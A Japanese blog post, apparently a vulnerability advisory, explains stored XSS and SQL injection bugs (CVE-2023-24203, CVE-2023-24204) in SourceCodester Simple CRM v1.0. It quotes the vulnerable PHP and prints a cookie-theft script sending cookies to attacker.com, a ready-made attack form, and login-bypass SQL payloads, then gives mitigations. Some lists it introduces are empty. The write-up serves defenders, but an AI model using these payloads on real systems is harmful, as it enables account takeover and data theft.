進化し続けるサイバーセキュリティの世界において、Webアプリケーションは依然として攻撃者の主な標的であり、脆弱性を悪用しようとしています。近年、SourceCodester Simple Customer Relationship Management (CRM) System v1.0 で 2 つの深刻な脆弱性、CVE-2023-24203 と CVE-2023-24204 が発見されました。これらの脆弱性は、クロスサイトスクリプティング (XSS) および SQL インジェクションに関連し、任意のコード実行や不正アクセスなどの重大なリスクをもたらします。これらの脆弱性とその影響を理解することは、開発者やセキュリティ専門家がシステムを潜在的な脅威から保護するために不可欠です。
クロスサイトスクリプティング (XSS) は、Web アプリケーションが、他のユーザーが閲覧する Web ページに悪意のあるスクリプトをユーザーが挿入できるようにする場合に発生する脆弱性の一種です。これにより、ユーザーに代わっての不正な操作、データの盗難、さらなる悪用につながる可能性があります。XSS 脆弱性は、主に 3 つのタイプに分類されます。
SQL インジェクションは、攻撃者が SQL クエリに任意の SQL コードを注入することで SQL クエリを操作できる場合に発生する脆弱性の一種です。これにより、不正アクセス、データ盗難、その他の悪意のある行為につながる可能性があります。SQL インジェクションは通常、入力検証の不十分さやパラメータ化クエリの欠如が原因で発生します。SQL インジェクションの主な影響は次のとおりです。
このブログ記事では、CVE-2023-24203 と CVE-2023-24204 について詳しく説明し、これらの脆弱性の詳細、攻撃ベクトル、影響、および緩和策を探ります。これらの脆弱性を深く理解することは、アプリケーションとデータを潜在的なエクスプロイトから保護するために重要です。
SQL インジェクションの脆弱性は、多くの場合、不適切な入力検証と不適切なコーディング慣行が原因で発生します。一般的な原因には次のものがあります。
クロスサイトスクリプティング (XSS) の脆弱性は、通常、ユーザーの入力と出力を適切に処理できないことが原因で発生します。一般的な原因には次のものがあります。
CVE-2023-24203 は、SourceCodester Simple Customer Relationship Management (CRM) System v1.0 の get-quote.php コンポーネントで見つかった格納型クロスサイトスクリプティング (XSS) の脆弱性です。この脆弱性により、攻撃者は company および query パラメータに悪意のあるスクリプトを注入でき、そのスクリプトはデータベースに保存され、管理者が閲覧したときに実行され、任意のコード実行につながります。
脆弱性は、見積依頼フォームからのユーザー入力を処理する get-quote.php スクリプトに存在します。PHP のソースコードは以下の通りです。
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
$name=$_POST['name'];
$email=$_POST['email'];
$contact=$_POST['contact'];
$company=$_POST['company'];
$services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
$other=$_POST['other'];
$query=$_POST['query'];
$pd=date('Y-m-d');
mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
echo "<script>alert('Query received. We will contact you soon.');</script>";
echo "<script>window.location.href='get-quote.php'</script>";
}
?>
スクリプトはフォームからユーザー入力(name、email、contact、company、services、other、query)を受け取り、それらを直接 SQL クエリに組み込んでデータベースに保存します。services 入力は mysqli_real_escape_string と addslashes を使用してサニタイズされますが、company と query パラメータは応答に出力される際に適切にサニタイズまたはエンコードされません。この適切なサニタイズとエンコードの欠如により、悪意のあるスクリプトがデータベースに注入および保存されることが可能になります。
この脆弱性を悪用するために、攻撃者は company または query パラメータに悪意のある JavaScript コードを含むペイロードを作成できます。管理者が見積依頼を閲覧すると、注入されたスクリプトが管理者のブラウザで実行されます。
次のペイロードを query パラメータに送信することで、
<script>alert('XSS');</script>
攻撃者は管理者が見積依頼を閲覧したときに XSS 攻撃をトリガーできます。
さらに悪質なペイロードを使用して、管理者のセッション Cookie を盗むことができます。次のペイロードを query パラメータに使用します。
<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>
攻撃者は管理者の Cookie を攻撃者が管理するリモートサーバーに送信できます。
company または query フィールドに注入して記入します。<form method="post" action="get-quote.php">
<input type="text" name="company" value="CompanyX"><br>
<input type="text" name="query" value="<script>document.location='http://attacker.com/steal-cookie?cookie='+document.cookie;</script>"><br>
<input type="submit" name="submit" value="Submit">
</form>
この格納型 XSS 脆弱性が悪用されると、攻撃者は管理者のブラウザのコンテキストで任意の JavaScript を実行できます。これにより、以下のようなさまざまな悪意のある行為が可能になります。
この脆弱性を緩和するには、Web ページに組み込む前にすべてのユーザー入力をサニタイズし、エンコードすることが不可欠です。具体的には以下の対策があります。
htmlspecialchars() などの関数を使用して、ユーザー入力の特殊文字をエンコードします。CVE-2023-24204 は、SourceCodester Simple Customer Relationship Management (CRM) System v1.0 の get-quote.php および login.php コンポーネントで見つかった SQL インジェクションの脆弱性です。この脆弱性により、攻撃者は任意の SQL コマンドをデータベースに注入でき、不正アクセスやデータ改ざんにつながる可能性があります。
SQL インジェクションの脆弱性は、get-quote.php と admin/login.php の両方のスクリプトに存在します。以下に、これらの脆弱性がどのように現れ、悪用され得るかを分析します。
get-quote.php スクリプトは、見積依頼フォームからのユーザー入力を処理します。ソースコードは以下の通りです。
<?php
session_start();
include("dbconnection.php");
include("checklogin.php");
check_login();
error_reporting(0);
if(isset($_POST['submit']))
{
$name=$_POST['name'];
$email=$_POST['email'];
$contact=$_POST['contact'];
$company=$_POST['company'];
$services=addslashes(mysqli_real_escape_string($con, json_encode($_POST['services'])));
$other=$_POST['other'];
$query=$_POST['query'];
$pd=date('Y-m-d');
mysqli_query($con,"insert into prequest(name,email,contactno,company,services,others,query,posting_date) values('$name','$email','$contact','$company','$services','$other','$query','$pd')");
echo "<script>alert('Query received. We will contact you soon.');</script>";
echo "<script>window.location.href='get-quote.php'</script>";
}
?>
次に、login.php のソースコードロジックも見てみましょう。
<?php
session_start();
error_reporting(0);
include("dbconnection.php");
if(isset($_POST['login']))
{
$ret=mysqli_query($con,"SELECT * FROM user WHERE email='".$_POST['email']."' and password='".$_POST['password']."'");
$num=mysqli_fetch_array($ret);
if($num>0)
{
$_SESSION['login']=$_POST['email'];
$_SESSION['id']=$num['id'];
$_SESSION['name']=$num['name'];
$val3 =date("Y/m/d");
date_default_timezone_set("Asia/Calcutta");
$time=date("h:i:sa");
$tim = $time;
$ip_address=$_SERVER['REMOTE_ADDR'];
$geopluginURL='http://www.geoplugin.net/php.gp?ip='.$ip_address;
$addrDetailsArr = unserialize(file_get_contents($geopluginURL));
$city = $addrDetailsArr['geoplugin_city'];
$country = $addrDetailsArr['geoplugin_countryName'];
ob_start();
system('ipconfig /all');
$mycom=ob_get_contents();
ob_clean();
$findme = "Physical";
$pmac = strpos($mycom, $findme);
$mac=substr($mycom,($pmac+36),17);
$ret=mysqli_query($con,"insert into usercheck(logindate,logintime,user_id,username,email,ip,mac,city,country)values('".$val3."','".$tim."','".$_SESSION['id']."','".$_SESSION['name']."','".$_SESSION['login']."','$ip_address','$mac','$city','$country')");
$extra="dashboard.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
else
{
$_SESSION['action1']="Invalid username or password";
$extra="login.php";
echo "<script>window.location.href='".$extra."'</script>";
exit();
}
}
?>
get-quote.php スクリプトは、name パラメータを適切にサニタイズしていません。攻撃者は Burp Suite などのツールを使用してリクエストを傍受し、name パラメータを変更して悪意のある SQL コマンドを注入できます。
login.php スクリプトは、email および password フィールドに対する適切な入力検証が欠如しているため、認証バイパスに対して脆弱です。攻撃者は hack' or 1=1;# のようなペイロードを使用して認証をバイパスし、アクセスを取得できます。
' OR '1'='1';--
変更したリクエストを送信する: 変更したリクエストをサーバーに送信します。注入された SQL コマンドがデータベースによって実行されます。
login.php の悪用
ログインページに移動する: login.php ページに移動します。
悪意のあるペイロードを入力する: email フィールドに hack' or 1=1;# のようなペイロードを使用し、password フィールドには任意の文字列を入力します。
これらの SQL インジェクション脆弱性が悪用されると、以下のようなさまざまな悪意のある行為につながる可能性があります。
これらの脆弱性を緩和するには、適切な入力検証を実装し、パラメータ化クエリを使用することが不可欠です。具体的には以下の対策があります。
これらのベストプラクティスに従うことで、SQL インジェクション攻撃のリスクを大幅に低減し、Web アプリケーションを潜在的な悪用から保護できます。